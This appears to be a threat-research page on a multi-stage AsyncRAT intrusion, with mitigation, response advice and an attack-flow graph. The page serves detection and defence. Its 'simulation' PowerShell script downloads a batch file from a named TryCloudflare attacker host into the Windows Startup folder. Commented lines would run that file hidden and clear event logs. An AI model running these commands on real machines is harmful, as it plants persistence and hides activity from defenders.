How MDR Uncovered a Multi-Stage AsyncRAT Attack Chain

Ruslan Mikhalov Chief of Threat Research at SOC Prime

How MDR Uncovered a Multi-Stage AsyncRAT Attack Chain

Detection stack

AIDR
Alert
ETL
Query

Threat Report
Attack Flow
Detections
Simulations

Summary

The report describes a multi-stage intrusion chain initiated through phishing emails that deliver double-extension ZIP lures and transition into a WebDAV-hosted payload sequence. The operators abuse Cloudflare free-tier infrastructure and bundled Python components to deploy AsyncRAT on victim endpoints. Execution and persistence rely on native Windows tooling—Windows Script Host, PowerShell, and batch scripts—while the final stage uses code injection into explorer.exe. By routing delivery and staging through widely trusted cloud services, the activity blends into normal traffic and can evade conventional perimeter controls.

Investigation

Trend Micro investigators reported telemetry consistent with a staged delivery flow: retrieval of a .pdf.zip archive from Dropbox, execution of embedded .url shortcuts, and subsequent WebDAV interaction attributed to svchost.exe and rundll32.exe. The chain then deployed Python 3.14.0 embedded files, which were used to run a custom Python script responsible for APC injection of AsyncRAT shellcode. Persistence was achieved by placing batch files in the user Startup directory. Analysts also identified and correlated multiple TryCloudflare hosts supporting the infrastructure.

Mitigation

Reduce exposure by training users to treat double-extension archives and unexpected ZIP attachments as suspicious and by tightening filtering for phishing-delivered cloud links. Block or strictly control access to unsanctioned cloud-tunneling services and monitor for abnormal reliance on WebDAV in environments where it is uncommon. Restrict script execution from user-writable directories, and harden controls around Startup folder usage and scheduled-task creation. Prioritize EDR/behavioral detections that can surface script-driven execution chains and code-injection techniques targeting benign processes.

Response

If activity is detected, isolate the endpoint and stop suspicious processes associated with the chain (notably svchost.exe, rundll32.exe, and python.exe where tied to the incident). Remove persistence by deleting malicious batch artifacts from the Startup directory, eradicate downloaded Python archives and any AsyncRAT components, and perform a full forensic sweep for additional staging files and lateral movement. Update network controls and blocklists to include the identified TryCloudflare domains and any associated infrastructure observed during triage.

"graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#ccffcc classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes attack_phishing["Action – T1566.001 Spearphishing Attachment: Victim receives a phishing email with a doubleu2011extension .pdf.url attachment that links to a Dropbox archive."] class attack_phishing action file_shortcut["File – .url shortcut: Masquerades as a PDF invoice and points to the malicious Dropbox archive."] class file_shortcut file action_user_exec["Action – T1204.002 User Execution: User opens the shortcut, triggering the initial download."] class action_user_exec action file_archive["File – Dropbox archive: Appears as a PDF invoice, contains the next stage payloads."] class file_archive file action_masquerade["Action – T1036.008 Masquerading: Archive and shortcut mimic legitimate PDF files to avoid suspicion."] class action_masquerade action tool_wsh["Tool – Windows Script Host: .wsh/.wsf files executed to retrieve further scripts."] class tool_wsh tool action_script_proxy["Action – T1216 System Script Proxy Execution: Executes WSH files as a proxy for script download."] class action_script_proxy action tool_rundll32["Tool – rundll32.exe: Invokes davclnt.dll (DavSetCookie) to talk to a WebDAV server."] class tool_rundll32 tool action_rundll32["Action – T1218.011 Rundll32: Uses rundll32 to communicate with a Cloudflareu2011hosted WebDAV server."] class action_rundll32 action tool_powershell["Tool – PowerShell: Downloads the Python 3.14 embed zip, extracts it and pulls additional batch files."] class tool_powershell tool action_powershell["Action – T1059.001 PowerShell: Executes PowerShell commands for download and extraction."] class action_powershell action action_hide["Action – T1564.001 Hide Artifacts: Stores payloads in hidden files within the user Temp directory."] class action_hide action file_hidden["File – Hidden Temp files: ne.py, new.bin, a.txt placed in %TEMP% and marked hidden."] class file_hidden file action_persistence["Action – T1037.001 Logon Script: Places batch files in the Startup folder for persistence."] class action_persistence action file_startup["File – Startup batch files: ahke.bat and olsm.bat located in the user's Startup directory."] class file_startup file action_ingress["Action – T1105 Ingress Tool Transfer: Transfers additional malicious components from the WebDAV server."] class action_ingress action action_cloudapi["Action – T1059.009 Cloud API: Sends HTTP/HTTPS requests to trycloudflare.com domains to retrieve final payloads."] class action_cloudapi action action_injection["Action – T1055.004 Process Injection: Python script ne.py injects AsyncRAT shellcode into explorer.exe via APC injection."] class action_injection action process_explorer["Process – explorer.exe: Target process for APC shellcode injection."] class process_explorer process malware_asyncrat["Malware – AsyncRAT: Injected shellcode establishes a remote access tool."] class malware_asyncrat malware action_c2["Action – T1102.002 Web Service: AsyncRAT communicates bidirectionally over HTTPS with Cloudflare infrastructure."] class action_c2 action %% Connections attack_phishing –>|delivers| file_shortcut file_shortcut –>|opened by victim triggers| action_user_exec action_user_exec –>|downloads| file_archive file_archive –>|used in| action_masquerade action_masquerade –>|enables execution of| tool_wsh tool_wsh –>|executes as part of| action_script_proxy action_script_proxy –>|calls| tool_rundll32 tool_rundll32 –>|invokes| action_rundll32 action_rundll32 –>|prepares environment for| tool_powershell tool_powershell –>|runs| action_powershell action_powershell –>|stores files in| action_hide action_hide –>|creates| file_hidden file_hidden –>|used by| action_persistence action_persistence –>|places| file_startup file_startup –>|triggers| action_ingress action_ingress –>|fetches more components via| action_cloudapi action_cloudapi –>|delivers payload to| action_injection action_injection –>|injects into| process_explorer process_explorer –>|hosts| malware_asyncrat malware_asyncrat –>|communicates via| action_c2 "

Attack Flow

View

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Attack Narrative & Commands

An adversary who has gained initial PowerShell access on a compromised Windows host wants to set up a Python execution environment and achieve persistence. They:
1. Download the embedded Python distribution directly to the user’s local Temp directory using Invoke‑WebRequest.
2. Download a malicious batch script (ahke.bat) from a Cloudflare‑proxied domain to the user’s Startup folder so it executes on every logon.
3. Execute the downloaded Python zip (omitted here for brevity) to run further payloads.
These steps produce exactly the command strings matched by the Sigma rule, generating PowerShell script‑block logs with the iwr … -OutFile … pattern.

Regression Test Script

# -------------------------------------------------
# PowerShell simulation of AsyncRAT environment setup
# -------------------------------------------------

# 1. Download Python embedded zip to user temp folder
$pythonUrl = 'https://www.python.org/ftp/python/3.14.0/python-3.14.0-embed-amd64.zip'
$pythonDest = "$env:USERPROFILEAppDataLocalTempp.zip"
iwr $pythonUrl -OutFile $pythonDest

# 2. Download malicious batch file to Startup for persistence
$batUrl = 'https://plus-condos-thy-redeem.trycloudflare.com/ahke.bat'
$batDest = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat"
iwr $batUrl -OutFile $batDest

# 3. (Optional) Trigger execution of the batch to demonstrate persistence
# Start-Process -FilePath $batDest -WindowStyle Hidden
# -------------------------------------------------

Cleanup Commands

# Remove the downloaded artifacts
Remove-Item -Path "$env:USERPROFILEAppDataLocalTempp.zip" -ErrorAction SilentlyContinue
Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupahke.bat" -ErrorAction SilentlyContinue

# Optionally clear PowerShell script block logs (requires admin)
# Clear-EventLog -LogName "Microsoft-Windows-PowerShell/Operational"

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PHPSESSID	Preserves user session state across page requests. Cookie generated by applications based on the PHP language. This is a general purpose identifier used to maintain user session variables. It is normally a random generated number, how it is used can be specific to the site, but a good example is maintaining a logged-in status for a user between pages.
sp_i	Used to store information about authenticated User.
sp_r	Used to store information about authenticated User.
sp_a	Used to store information about authenticated User.

Name	Descripiton
tuuid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
tuuid_last_update	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
um	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
umeh	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded.
na_sc_x	Used by the social sharing platform AddThis to keep a record of parts of the site that has been visited in order to recommend other parts of the site.
APID	Collects anonymous data related to the user's visits to the website.
IDSYNC	Collects anonymous data related to the user's visits to the website.
_cc_aud	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_cc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_dc	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
_cc_id	Collects anonymous statistical data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The purpose is to segment the website's users according to factors such as demographics and geographical location, in order to enable media and marketing agencies to structure and understand their target groups to enable customised online advertising.
dpm	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
acs	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
clid	Collects anonymous data related to the user's visits to the website, such as the number of visits, average time spent on the website and what pages have been loaded, with the purpose of displaying targeted ads.
KRTBCOOKIE_#	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PUBMDCID	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
PugT	Registers a unique ID that identifies the user's device during return visits across websites that use the same ad network. The ID is used to allow targeted ads.
ssi	Registers a unique ID that identifies a returning user's device. The ID is used for targeted ads.
_tmid	Registers a unique ID that identifies the user's device upon return visits. The ID is used to target ads in video clips.
wam-sync	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
wui	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
AFFICHE_W	Used by the advertising platform Weborama to determine the visitor's interests based on pages visits, content clicked and other actions on the website.
B	Collects anonymous data related to the user's website visits, such as the number of visits, average time spent on the website and what pages have been loaded. The registered data is used to categorise the users' interest and demographical profiles with the purpose of customising the website content depending on the visitor.
1P_JAR	These cookies are used to gather website statistics, and track conversion rates.
APISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
HSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
NID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SAPISID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
SIDCC	Security cookie to protect users data from unauthorised access.
SSID	Google set a number of cookies on any page that includes a Google reCAPTCHA. While we have no control over the cookies set by Google, they appear to include a mixture of pieces of information to measure the number and behaviour of Google reCAPTCHA users.
__utmx	This cookie is associated with Google Website Optimizer, a tool designed to help site owners improve their wbesites. It is used to distinguish between two varaitions a webpage that might be shown to a visitor as part of an A/B split test. This helps site owners to detemine which version of a page performs better, and therefore helps to improve the website.
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Name	Descripiton
_hjid	Hotjar cookie. This cookie is set when the customer first lands on a page with the Hotjar script. It is used to persist the random user ID, unique to that site on the browser. This ensures that behavior in subsequent visits to the same site will be attributed to the same user ID.
_hjIncludedInSample	This cookie is associated with web analytics functionality and services from Hot Jar, a Malta based company. It uniquely identifies a visitor during a single browser session and indicates they are included in an audience sample.
intercom-id-[xxx]	This cookie is used by Intercom as a session so that users can continue a chat as they move through the site.
intercom-session-[xxx]	Used to keeping track of sessions and remember logins and conversations.
demdex	Via a unique ID that is used for semantic content analysis, the user's navigation on the website is registered and linked to offline data from surveys and similar registrations to display targeted ads.
CookieConsent	Stores the user's cookie consent state for the current domain.
__cfduid	Used by the content network, Cloudflare, to identify trusted web traffic.
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Name	Descripiton
_ga	This cookie name is asssociated with Google Universal Analytics - which is a significant update to Google's more commonly used analytics service. This cookie is used to distinguish unique users by assigning a randomly generated number as a client identifier. It is included in each page. Registers a unique ID that is used to generate statistical data on how the visitor uses the website. request in a site and used to calculate visitor, session and campaign data for the sites analytics reports. By default it is set to expire after 2 years, although this is customisable by website owners.
_gat	Used by Google Analytics to throttle request rate. This cookie name is associated with Google Universal Analytics, according to documentation it is used to throttle the request rate - limiting the collection of data on high traffic sites. It expires after 10 minutes.
_gid	This cookie name is asssociated with Google Universal Analytics. This appears to be a new cookie and as of Spring 2017 no information is available from Google. It appears to store and update a unique value for each page visited. Registers a unique ID that is used to generate statistical data on how the visitor uses the website.
IDE	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
r/collect	Used by Google DoubleClick to register and report the website user's actions after viewing or clicking one of the advertiser's ads with the purpose of measuring the efficacy of an ad and to present targeted ads to the user.
test_cookie	Used to check if the user's browser supports cookies.
collect	Used to send data to Google Analytics about the visitor's device and behaviour. Tracks the visitor across devices and marketing channels.
ads/user-lists/#	These cookies may be set through our site by our advertising partners. They may be used by those companies to build a profile of your interests and show you relevant adverts on other sites.
c	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
khaos	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
put_#	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpb	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
rpx	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.
tap.php	Registers anonymised user data, such as IP address, geographical location, visited websites, and what ads the user has clicked, with the purpose of optimising ad display based on the user's movement on websites that use the same ad network.